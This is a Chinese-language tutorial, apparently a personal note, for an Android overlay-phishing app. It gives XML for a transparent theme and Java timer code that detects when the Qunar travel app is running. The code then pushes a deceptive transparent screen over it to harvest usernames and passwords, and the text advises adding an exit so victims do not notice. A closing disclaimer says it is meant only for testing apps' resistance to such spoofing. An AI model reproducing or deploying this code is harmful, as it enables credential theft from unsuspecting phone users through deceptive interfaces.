1.应用使用方法
将本应用运行在后台,当特定的应用启动时,本应用会自动弹出背景透明的界面,覆盖在原应用上,特别是当被覆盖应用启动时是密码输入界面时,透明UI可以欺骗用户,以达到获取用户名、密码等个人信息的目的。
2.实现原理
本程序使用到透明背景界面的创建、应用后台转前台、定时查找当前运行task和app等功能。
3.实现步骤
3.1实现透明UI
首先实现自己定义的透明主题,在res/values/styles.xml中定义style如下:
<style name="shenmegui_transparent"> <item name="android:windowBackground">@color/transparent</item> <item name="android:windowNoTitle">true</item> <item name="android:windowIsTranslucent">true</item> <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item> </style>
其中
color/transparent是定义在res/values/colors.xml中的透明色,所以在res/values/colors.xml中添加:
<color name="transparent">#0000</color>最后在AndroidManifest.xml文件中引入自己的主题:
android:theme="@style/shenmegui_transparent">这样,我们的界面就是透明的了。
3.2实现定时查看当前运行程序功能
当被伪造的程序开始运行时,需要弹出伪造界面,故需不断的查看当前运行的程序,本程序使用timer实现。当当前运行程序是欲覆盖应用时,使用moveTaskToFront将应用欺骗界面显示出来。具体程序如下:
public void timer(final Context context){ Timer timer=new Timer(); final TimerTask timerTask=new TimerTask() { @Override public void run() { ActivityManager myActivityManager= (ActivityManager) context.getSystemService(context.ACTIVITY_SERVICE); List<ActivityManager.RunningTaskInfo> list_task=myActivityManager.getRunningTasks(100); List<ActivityManager.RunningAppProcessInfo> list=myActivityManager.getRunningAppProcesses(); //若当前运行程序为“去哪儿”,则调用欺骗界面。 if (list.get(0).processName.equals("com.Qunar")){ //为了使“去哪儿”程序完全呈现出来,暂停本程序6s。此处不暂停可用来实现程序锁功能。 try{ Thread.sleep(6000); Log.i("shenmegui","成功暂停6s"); }catch (InterruptedException e){ e.printStackTrace(); } //遍历当前运行task,找到本程序所在task,移至前台。 for (ActivityManager.RunningTaskInfo i:list_task ) { if (i.topActivity.getPackageName().equals(context.getPackageName())){ myActivityManager.moveTaskToFront(i.id,0); } } //调用欺骗界面。 Intent intent=new Intent(); intent.setClass(context,SecondActivity.class); // intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startActivity(intent); this.cancel(); } Log.i("processName", list.get(0).processName); } }; timer.schedule(timerTask,0,4*1000); }
其中SecondActivity.class即为弹出的透明UI欺骗界面。具体SecondActivity类的写法就是根据被模仿的程序界面不同而不同了,但是要注意,要在SecondActivity中写退出程序的语句,否则用户不能在透明界面进一步操作,就会被用户发现。
最后还要注意在AndroidManifest.xml中写上权限的声明:
<uses-permission android:name="android.permission.REORDER_TASKS"></uses-permission> <uses-permission android:name="android.permission.GET_TASKS"></uses-permission>
4.郑重声明
本透明UI欺骗程序只能用于正当用途,比如只用来测试目标软件是否具有防止被透明UI欺骗的能力。本文档只作为本人日后参考和android漏洞测试人员最初级学习参考。